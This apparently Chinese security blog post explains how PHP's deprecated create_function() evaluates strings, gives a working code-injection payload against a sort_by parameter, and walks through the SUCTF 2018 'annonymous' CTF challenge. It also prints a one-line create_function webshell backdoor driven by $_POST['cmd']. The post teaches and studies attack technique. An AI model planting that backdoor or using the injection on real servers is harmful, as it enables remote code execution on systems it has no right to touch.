create_function()漏洞利用

什么是 create_function()

create_function() 是 PHP 早期提供的一个用来创建匿名函数的函数:

复制代码
$func = create_function('$a,$b', 'return $a + $b;');
echo $func(1, 2); // 输出 3

第一个参数是函数的参数列表(字符串形式),第二个参数是函数体(也是字符串)。

也就是说:它会把字符串当作代码执行!

从 PHP 7.2 开始,这个函数已经被废弃,因为太容易被滥用了

举个危险的例子

复制代码
$input = $_GET['code'];
$func = create_function('$x', "return $input;");
echo $func(0);

如果用户访问:

复制代码
example.php?code=phpinfo()

代码就会变成:

复制代码
$func = create_function('$x', "return phpinfo();");

然后服务器就会执行 phpinfo()造成信息泄露

注入

复制代码
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

复制代码
?sort_by=%27%22]);}phpinfo();/*

首先传参后会变成:

复制代码
$sort_function = ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);';

然后将这个放入create_function:

复制代码
create_function('$a, $b', ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);');

这里就会生成一个这样的函数:

复制代码
function($a, $b) {
    return 1 * strnatcasecmp(
        $a["'"] //  合法访问数组(虽然没啥意义)
    );       //  闭合 return 调用
    }        //  闭合函数体结构
    phpinfo(); //  恶意代码执行
    /*"], $b["'"]);}phpinfo();/*"]); //  这些变成注释,避免语法错误
}

后门

大家经常忽略一点,就是creation_function也是可以用来构造一句话木马的后门的(说实话高版本creation_function都被废弃了,忽略也不是毫无道理的)

复制代码
<?php $func =create_function('',$_POST['cmd']);$func();?>

将这个写入php文件就可以当后门使用,等价于eval

那么问题来了,为什么会等价呢

先来看 **create_function()**的定义

create_function() 的定义如下(PHP 官方解释):

复制代码
create_function(string $args, string $code): Closure

这个函数的作用是:动态创建一个匿名函数 ,参数列表是 $args,函数体是 $code,并返回这个匿名函数的句柄。

它是怎么"动态创建"的呢?

从 PHP 源码和官方文档的解释来看,**create_function()**的内部实现就是用 **eval()**把代码构造出来然后执行的

比如:

复制代码
$func = create_function('$a, $b', 'return $a + $b;');

等价于:

复制代码
$func = eval('return function($a, $b) { return $a + $b; };');

所以本质上它会动态生成一个 function (...) { ... } 的结构,然后 eval 掉。

接下来才是今天的重点

create_function创建"匿名"函数

各位师傅可能看到这个引号就明白这里创建的匿名函数一定不是真匿名的

使用create_function()创建"匿名"函数 - OSCHINA - 中文开源技术交流社区

这里推荐一篇文章

总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999],后面的数字会逐步递增

因为create_function是返回函数名称的,函数返回一个唯一的字符串函数名, 出现错误的话则返回FALSE。

这么说这个函数也只是动态的创建了一个函数,而这个函数是有函数名的,也就是说,其实这并不是匿名的。 只是创建了一个全局唯一的函数而已。

所以接下来就来看看这道例题

[SUCTF 2018]annonymous

复制代码
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();

show_source(__FILE__);

源码小小一段,但是短小精悍

简单来说就是 用create_function创造了一个匿名函数会输出flag

接着openssl_random_pseudo_bytes(32)生成一个随机数,然后将其转成了十六进制,将其赋值给$hash

接着SUCTF_和hash拼接成一个新的函数名,函数会执行上面构造的匿名函数

下面的func_name可以传一个函数进去并执行

那么就可以利用匿名函数的漏洞解出flag,只要拿bp爆一下%00lambda_[0-999]后面的数字就好了

相关推荐
网硕互联的小客服1 小时前
如何安全配置好CDN用于防止DDoS与Web攻击 ?
安全·ddos
Suckerbin2 小时前
digitalworld.local: DEVELOPMENT靶场
安全·网络安全
天翼云开发者社区4 小时前
办公网络流量隔离:为高效办公保驾护航
网络·安全
绵山介子推4 小时前
IP地址、端口、TCP介绍、socket介绍、程序中socket管理
网络协议·tcp/ip·php·嵌入式软件
神经毒素5 小时前
WEB安全--Java安全--LazyMap_CC1利用链
java·开发语言·网络·安全·web安全
sadoshi5 小时前
phpstudy的Apache添加AddType application/x-httpd-php .php .php5配置无效的处理方式
开发语言·php·apache
玉笥寻珍7 小时前
Web安全渗透测试基础知识之内存动态分配异常篇
网络·python·安全·web安全·网络安全
Think Spatial 空间思维7 小时前
【SSL证书系列】操作系统如何保障根证书的有效性和安全
网络协议·安全·ssl
Jouzzy7 小时前
【iOS安全】Dopamine越狱 iPhone X iOS 16.6 (20G75) | 解决Jailbreak failed with error
安全·ios·iphone
LaiSec8 小时前
智慧化系统安全分析报告
安全